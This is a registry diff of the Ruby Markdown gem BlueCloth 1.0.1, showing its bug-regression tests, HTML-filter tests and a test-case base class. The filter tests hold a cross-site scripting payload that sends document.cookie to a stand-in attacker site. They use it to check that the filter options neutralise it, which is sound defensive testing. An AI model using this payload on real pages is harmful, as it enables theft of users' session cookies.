BlueCloth 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/CHANGES +506 -0
- data/LICENSE +340 -0
- data/README +99 -0
- data/bin/bluecloth +83 -0
- data/install.rb +185 -0
- data/lib/bluecloth.rb +1144 -0
- data/test.rb +117 -0
- data/tests/00_Class.tests.rb +71 -0
- data/tests/05_Markdown.tests.rb +1541 -0
- data/tests/10_Bug.tests.rb +67 -0
- data/tests/15_Contrib.tests.rb +132 -0
- data/tests/bctestcase.rb +283 -0
- data/tests/data/antsugar.txt +34 -0
- data/tests/data/hr-dos.txt +4 -0
- data/tests/data/ml-announce.txt +17 -0
- data/tests/data/re-overflow.txt +67 -0
- data/tests/data/re-overflow2.txt +281 -0
- data/utils.rb +739 -0
- metadata +74 -0
@@ -0,0 +1,67 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# Unit test for bugs found in BlueCloth
|
4
|
+
# $Id: 10_Bug.tests.rb 128 2009-07-15 23:33:03Z deveiant $
|
5
|
+
#
|
6
|
+
# Copyright (c) 2004 The FaerieMUD Consortium.
|
7
|
+
#
|
8
|
+
|
9
|
+
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
10
|
+
basedir = File::dirname( __FILE__ )
|
11
|
+
require File::join( basedir, 'bctestcase' )
|
12
|
+
end
|
13
|
+
|
14
|
+
|
15
|
+
require 'timeout'
|
16
|
+
|
17
|
+
### This test case tests ...
|
18
|
+
class BugsTestCase < BlueCloth::TestCase
|
19
|
+
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
20
|
+
|
21
|
+
### Test to be sure the README file can be transformed.
|
22
|
+
def test_00_slow_block_regex
|
23
|
+
contents = File::read( File::join(BaseDir,"README") )
|
24
|
+
bcobj = BlueCloth::new( contents )
|
25
|
+
|
26
|
+
assert_nothing_raised {
|
27
|
+
timeout( 2 ) do
|
28
|
+
bcobj.to_html
|
29
|
+
end
|
30
|
+
}
|
31
|
+
end
|
32
|
+
|
33
|
+
### :TODO: Add more documents and test their transforms.
|
34
|
+
|
35
|
+
def test_10_regexp_engine_overflow_bug
|
36
|
+
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
|
37
|
+
bcobj = BlueCloth::new( contents )
|
38
|
+
|
39
|
+
assert_nothing_raised {
|
40
|
+
bcobj.to_html
|
41
|
+
}
|
42
|
+
end
|
43
|
+
|
44
|
+
def test_15_regexp_engine_overflow_bug2
|
45
|
+
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
|
46
|
+
bcobj = BlueCloth::new( contents )
|
47
|
+
|
48
|
+
assert_nothing_raised {
|
49
|
+
bcobj.to_html
|
50
|
+
}
|
51
|
+
end
|
52
|
+
|
53
|
+
def test_20_malformed_hr_dos_bug
|
54
|
+
contents = File.read( File.join(BaseDir,"tests/data/hr-dos.txt") )
|
55
|
+
bcobj = BlueCloth.new( contents )
|
56
|
+
|
57
|
+
assert_nothing_raised {
|
58
|
+
timeout( 2 ) do
|
59
|
+
bcobj.to_html
|
60
|
+
end
|
61
|
+
}
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
|
66
|
+
__END__
|
67
|
+
|
@@ -0,0 +1,132 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# Unit test for contributed features
|
4
|
+
# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
|
5
|
+
#
|
6
|
+
# Copyright (c) 2004 The FaerieMUD Consortium.
|
7
|
+
#
|
8
|
+
|
9
|
+
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
10
|
+
basedir = File::dirname( __FILE__ )
|
11
|
+
require File::join( basedir, 'bctestcase' )
|
12
|
+
end
|
13
|
+
|
14
|
+
|
15
|
+
|
16
|
+
### This test case tests ...
|
17
|
+
class ContribTestCase < BlueCloth::TestCase
|
18
|
+
|
19
|
+
DangerousHtml =
|
20
|
+
"<script>document.location='http://www.hacktehplanet.com" +
|
21
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
22
|
+
DangerousHtmlOutput =
|
23
|
+
"<p><script>document.location='http://www.hacktehplanet.com" +
|
24
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script></p>"
|
25
|
+
DangerousStylesOutput =
|
26
|
+
"<script>document.location='http://www.hacktehplanet.com" +
|
27
|
+
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
|
28
|
+
NoLessThanHtml = "Foo is definitely > than bar"
|
29
|
+
NoLessThanOutput = "<p>Foo is definitely > than bar</p>"
|
30
|
+
|
31
|
+
|
32
|
+
### HTML filter options contributed by Florian Gross.
|
33
|
+
|
34
|
+
### Test the :filter_html restriction
|
35
|
+
def test_10_filter_html
|
36
|
+
printTestHeader "filter_html Option"
|
37
|
+
rval = bc = nil
|
38
|
+
|
39
|
+
# Test as a 1st-level param
|
40
|
+
assert_nothing_raised {
|
41
|
+
bc = BlueCloth::new( DangerousHtml, :filter_html )
|
42
|
+
}
|
43
|
+
assert_instance_of BlueCloth, bc
|
44
|
+
|
45
|
+
# Accessors
|
46
|
+
assert_nothing_raised { rval = bc.filter_html }
|
47
|
+
assert_equal true, rval
|
48
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
49
|
+
assert_equal nil, rval
|
50
|
+
|
51
|
+
# Test rendering with filters on
|
52
|
+
assert_nothing_raised { rval = bc.to_html }
|
53
|
+
assert_equal DangerousHtmlOutput, rval
|
54
|
+
|
55
|
+
# Test setting it in a sub-array
|
56
|
+
assert_nothing_raised {
|
57
|
+
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
|
58
|
+
}
|
59
|
+
assert_instance_of BlueCloth, bc
|
60
|
+
|
61
|
+
# Accessors
|
62
|
+
assert_nothing_raised { rval = bc.filter_html }
|
63
|
+
assert_equal true, rval
|
64
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
65
|
+
assert_equal nil, rval
|
66
|
+
|
67
|
+
# Test rendering with filters on
|
68
|
+
assert_nothing_raised { rval = bc.to_html }
|
69
|
+
assert_equal DangerousHtmlOutput, rval
|
70
|
+
end
|
71
|
+
|
72
|
+
|
73
|
+
### Test the :filter_styles restriction
|
74
|
+
def test_20_filter_styles
|
75
|
+
printTestHeader "filter_styles Option"
|
76
|
+
rval = bc = nil
|
77
|
+
|
78
|
+
# Test as a 1st-level param
|
79
|
+
assert_nothing_raised {
|
80
|
+
bc = BlueCloth::new( DangerousHtml, :filter_styles )
|
81
|
+
}
|
82
|
+
assert_instance_of BlueCloth, bc
|
83
|
+
|
84
|
+
# Accessors
|
85
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
86
|
+
assert_equal true, rval
|
87
|
+
assert_nothing_raised { rval = bc.filter_html }
|
88
|
+
assert_equal nil, rval
|
89
|
+
|
90
|
+
# Test rendering with filters on
|
91
|
+
assert_nothing_raised { rval = bc.to_html }
|
92
|
+
assert_equal DangerousStylesOutput, rval
|
93
|
+
|
94
|
+
# Test setting it in a subarray
|
95
|
+
assert_nothing_raised {
|
96
|
+
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
|
97
|
+
}
|
98
|
+
assert_instance_of BlueCloth, bc
|
99
|
+
|
100
|
+
# Accessors
|
101
|
+
assert_nothing_raised { rval = bc.filter_styles }
|
102
|
+
assert_equal true, rval
|
103
|
+
assert_nothing_raised { rval = bc.filter_html }
|
104
|
+
assert_equal nil, rval
|
105
|
+
|
106
|
+
# Test rendering with filters on
|
107
|
+
assert_nothing_raised { rval = bc.to_html }
|
108
|
+
assert_equal DangerousStylesOutput, rval
|
109
|
+
|
110
|
+
end
|
111
|
+
|
112
|
+
|
113
|
+
### Test to be sure filtering when there's no opening angle brackets doesn't
|
114
|
+
### die.
|
115
|
+
def test_30_filter_no_less_than
|
116
|
+
printTestHeader "filter without a less-than"
|
117
|
+
rval = bc = nil
|
118
|
+
|
119
|
+
# Test as a 1st-level param
|
120
|
+
assert_nothing_raised {
|
121
|
+
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
|
122
|
+
}
|
123
|
+
assert_instance_of BlueCloth, bc
|
124
|
+
|
125
|
+
assert_nothing_raised { rval = bc.to_html }
|
126
|
+
assert_equal NoLessThanOutput, rval
|
127
|
+
end
|
128
|
+
|
129
|
+
|
130
|
+
|
131
|
+
end
|
132
|
+
|
data/tests/bctestcase.rb
ADDED
@@ -0,0 +1,283 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
#
|
3
|
+
# This is an abstract test case class for building Test::Unit unit tests for the
|
4
|
+
# BlueCloth module. It consolidates most of the maintenance work that must be
|
5
|
+
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
|
6
|
+
# as adding some other useful methods that make building, maintaining, and using
|
7
|
+
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
|
8
|
+
# more info on the particulars of unit testing.
|
9
|
+
#
|
10
|
+
# == Synopsis
|
11
|
+
#
|
12
|
+
# # Allow the test to be run from anywhere:
|
13
|
+
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
14
|
+
# basedir = File::dirname( __FILE__ )
|
15
|
+
# require File::join( basedir, 'bctestcase' )
|
16
|
+
# end
|
17
|
+
#
|
18
|
+
# class MySomethingTest < BlueCloth::TestCase
|
19
|
+
# def setup
|
20
|
+
# super()
|
21
|
+
# @foo = 'bar'
|
22
|
+
# end
|
23
|
+
#
|
24
|
+
# def test_00_something
|
25
|
+
# obj = nil
|
26
|
+
# assert_nothing_raised { obj = MySomething::new }
|
27
|
+
# assert_instance_of MySomething, obj
|
28
|
+
# assert_respond_to :myMethod, obj
|
29
|
+
# end
|
30
|
+
#
|
31
|
+
# end
|
32
|
+
#
|
33
|
+
# == Rcsid
|
34
|
+
#
|
35
|
+
# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
|
36
|
+
#
|
37
|
+
# == Authors
|
38
|
+
#
|
39
|
+
# * Michael Granger <ged@FaerieMUD.org>
|
40
|
+
#
|
41
|
+
#:include: COPYRIGHT
|
42
|
+
#
|
43
|
+
#---
|
44
|
+
#
|
45
|
+
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
|
46
|
+
#
|
47
|
+
|
48
|
+
$DebugPattern ||= nil
|
49
|
+
|
50
|
+
begin
|
51
|
+
basedir = File::dirname( File::dirname(__FILE__) )
|
52
|
+
unless $LOAD_PATH.include?( "#{basedir}/lib" )
|
53
|
+
$LOAD_PATH.unshift "#{basedir}/lib"
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
# Try to enforce 1.0.x BlueCloth if it's installed as a gem, but don't
|
58
|
+
# die if not.
|
59
|
+
begin
|
60
|
+
require 'rubygems'
|
61
|
+
gem 'BlueCloth', '~> 1.0.0'
|
62
|
+
rescue LoadError
|
63
|
+
# no-op
|
64
|
+
end
|
65
|
+
|
66
|
+
require "test/unit"
|
67
|
+
require "bluecloth"
|
68
|
+
|
69
|
+
|
70
|
+
class BlueCloth
|
71
|
+
|
72
|
+
### The abstract base class for BlueCloth test cases.
|
73
|
+
class TestCase < Test::Unit::TestCase
|
74
|
+
|
75
|
+
@methodCounter = 0
|
76
|
+
@setupBlocks = []
|
77
|
+
@teardownBlocks = []
|
78
|
+
class << self
|
79
|
+
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
|
80
|
+
end
|
81
|
+
|
82
|
+
|
83
|
+
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
|
84
|
+
### and accessors to the inheriting class.
|
85
|
+
def self::inherited( klass )
|
86
|
+
klass.module_eval {
|
87
|
+
@setupBlocks = []
|
88
|
+
@teardownBlocks = []
|
89
|
+
|
90
|
+
class << self
|
91
|
+
attr_accessor :setupBlocks, :teardownBlocks
|
92
|
+
end
|
93
|
+
}
|
94
|
+
klass.methodCounter = 0
|
95
|
+
end
|
96
|
+
|
97
|
+
|
98
|
+
|
99
|
+
### Output the specified <tt>msgs</tt> joined together to
|
100
|
+
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
|
101
|
+
def self::debugMsg( *msgs )
|
102
|
+
return unless $DEBUG
|
103
|
+
self.message "DEBUG>>> %s" % msgs.join('')
|
104
|
+
end
|
105
|
+
|
106
|
+
### Output the specified <tt>msgs</tt> joined together to
|
107
|
+
### <tt>STDOUT</tt>.
|
108
|
+
def self::message( *msgs )
|
109
|
+
$stderr.puts msgs.join('')
|
110
|
+
$stderr.flush
|
111
|
+
end
|
112
|
+
|
113
|
+
|
114
|
+
### Add a setup block for the current testcase
|
115
|
+
def self::addSetupBlock( &block )
|
116
|
+
self.methodCounter += 1
|
117
|
+
newMethodName = "setup_#{self.methodCounter}".intern
|
118
|
+
define_method( newMethodName, &block )
|
119
|
+
self.setupBlocks.push newMethodName
|
120
|
+
end
|
121
|
+
|
122
|
+
### Add a teardown block for the current testcase
|
123
|
+
def self::addTeardownBlock( &block )
|
124
|
+
self.methodCounter += 1
|
125
|
+
newMethodName = "teardown_#{self.methodCounter}".intern
|
126
|
+
define_method( newMethodName, &block )
|
127
|
+
self.teardownBlocks.unshift newMethodName
|
128
|
+
end
|
129
|
+
|
130
|
+
|
131
|
+
#############################################################
|
132
|
+
### I N S T A N C E M E T H O D S
|
133
|
+
#############################################################
|
134
|
+
|
135
|
+
### A dummy test method to allow this Test::Unit::TestCase to be
|
136
|
+
### subclassed without complaining about the lack of tests.
|
137
|
+
def test_0_dummy
|
138
|
+
end
|
139
|
+
|
140
|
+
|
141
|
+
### Forward-compatibility method for namechange in Test::Unit
|
142
|
+
def setup( *args )
|
143
|
+
self.class.setupBlocks.each {|sblock|
|
144
|
+
debugMsg "Calling setup block method #{sblock}"
|
145
|
+
self.send( sblock )
|
146
|
+
}
|
147
|
+
super( *args )
|
148
|
+
end
|
149
|
+
alias_method :set_up, :setup
|
150
|
+
|
151
|
+
|
152
|
+
### Forward-compatibility method for namechange in Test::Unit
|
153
|
+
def teardown( *args )
|
154
|
+
super( *args )
|
155
|
+
self.class.teardownBlocks.each {|tblock|
|
156
|
+
debugMsg "Calling teardown block method #{tblock}"
|
157
|
+
self.send( tblock )
|
158
|
+
}
|
159
|
+
end
|
160
|
+
alias_method :tear_down, :teardown
|
161
|
+
|
162
|
+
|
163
|
+
### Skip the current step (called from #setup) with the +reason+ given.
|
164
|
+
def skip( reason=nil )
|
165
|
+
if reason
|
166
|
+
msg = "Skipping %s: %s" % [ @method_name, reason ]
|
167
|
+
else
|
168
|
+
msg = "Skipping %s: No reason given." % @method_name
|
169
|
+
end
|
170
|
+
|
171
|
+
$stderr.puts( msg ) if $VERBOSE
|
172
|
+
@method_name = :skipped_test
|
173
|
+
end
|
174
|
+
|
175
|
+
|
176
|
+
def skipped_test # :nodoc:
|
177
|
+
end
|
178
|
+
|
179
|
+
|
180
|
+
### Add the specified +block+ to the code that gets executed by #setup.
|
181
|
+
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
|
182
|
+
|
183
|
+
|
184
|
+
### Add the specified +block+ to the code that gets executed by #teardown.
|
185
|
+
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
|
186
|
+
|
187
|
+
|
188
|
+
### Instance alias for the like-named class method.
|
189
|
+
def message( *msgs )
|
190
|
+
self.class.message( *msgs )
|
191
|
+
end
|
192
|
+
|
193
|
+
|
194
|
+
### Instance alias for the like-named class method
|
195
|
+
def debugMsg( *msgs )
|
196
|
+
self.class.debugMsg( *msgs )
|
197
|
+
end
|
198
|
+
|
199
|
+
|
200
|
+
### Output a separator line made up of <tt>length</tt> of the specified
|
201
|
+
### <tt>char</tt>.
|
202
|
+
def writeLine( length=75, char="-" )
|
203
|
+
$stderr.puts "\r" + (char * length )
|
204
|
+
end
|
205
|
+
|
206
|
+
|
207
|
+
### Output a header for delimiting tests
|
208
|
+
def printTestHeader( desc )
|
209
|
+
return unless $VERBOSE || $DEBUG
|
210
|
+
message ">>> %s <<<" % desc
|
211
|
+
end
|
212
|
+
|
213
|
+
|
214
|
+
### Try to force garbage collection to start.
|
215
|
+
def collectGarbage
|
216
|
+
a = []
|
217
|
+
1000.times { a << {} }
|
218
|
+
a = nil
|
219
|
+
GC.start
|
220
|
+
end
|
221
|
+
|
222
|
+
|
223
|
+
### Output the name of the test as it's running if in verbose mode.
|
224
|
+
def run( result )
|
225
|
+
$stderr.puts self.name if $VERBOSE || $DEBUG
|
226
|
+
|
227
|
+
# Support debugging for individual tests
|
228
|
+
olddb = nil
|
229
|
+
if $DebugPattern && $DebugPattern =~ @method_name
|
230
|
+
olddb = $DEBUG
|
231
|
+
$DEBUG = true
|
232
|
+
end
|
233
|
+
|
234
|
+
super
|
235
|
+
|
236
|
+
$DEBUG = olddb unless olddb.nil?
|
237
|
+
end
|
238
|
+
|
239
|
+
|
240
|
+
#############################################################
|
241
|
+
### E X T R A A S S E R T I O N S
|
242
|
+
#############################################################
|
243
|
+
|
244
|
+
### Negative of assert_respond_to
|
245
|
+
def assert_not_respond_to( obj, meth )
|
246
|
+
msg = "%s expected NOT to respond to '%s'" %
|
247
|
+
[ obj.inspect, meth ]
|
248
|
+
assert_block( msg ) {
|
249
|
+
!obj.respond_to?( meth )
|
250
|
+
}
|
251
|
+
end
|
252
|
+
|
253
|
+
|
254
|
+
### Assert that the instance variable specified by +sym+ of an +object+
|
255
|
+
### is equal to the specified +value+. The '@' at the beginning of the
|
256
|
+
### +sym+ will be prepended if not present.
|
257
|
+
def assert_ivar_equal( value, object, sym )
|
258
|
+
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
259
|
+
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
260
|
+
[ sym, object.inspect, value.inspect ]
|
261
|
+
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
262
|
+
assert_block( msg ) {
|
263
|
+
value == object.instance_variable_get(sym)
|
264
|
+
}
|
265
|
+
end
|
266
|
+
|
267
|
+
|
268
|
+
### Assert that the specified +object+ has an instance variable which
|
269
|
+
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
270
|
+
### will be prepended if not present.
|
271
|
+
def assert_has_ivar( sym, object )
|
272
|
+
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
273
|
+
msg = "Object <%s> expected to have an instance variable <%s>" %
|
274
|
+
[ object.inspect, sym ]
|
275
|
+
assert_block( msg ) {
|
276
|
+
object.instance_variables.include?( sym.to_s )
|
277
|
+
}
|
278
|
+
end
|
279
|
+
|
280
|
+
end # class TestCase
|
281
|
+
|
282
|
+
end # class BlueCloth
|
283
|
+
|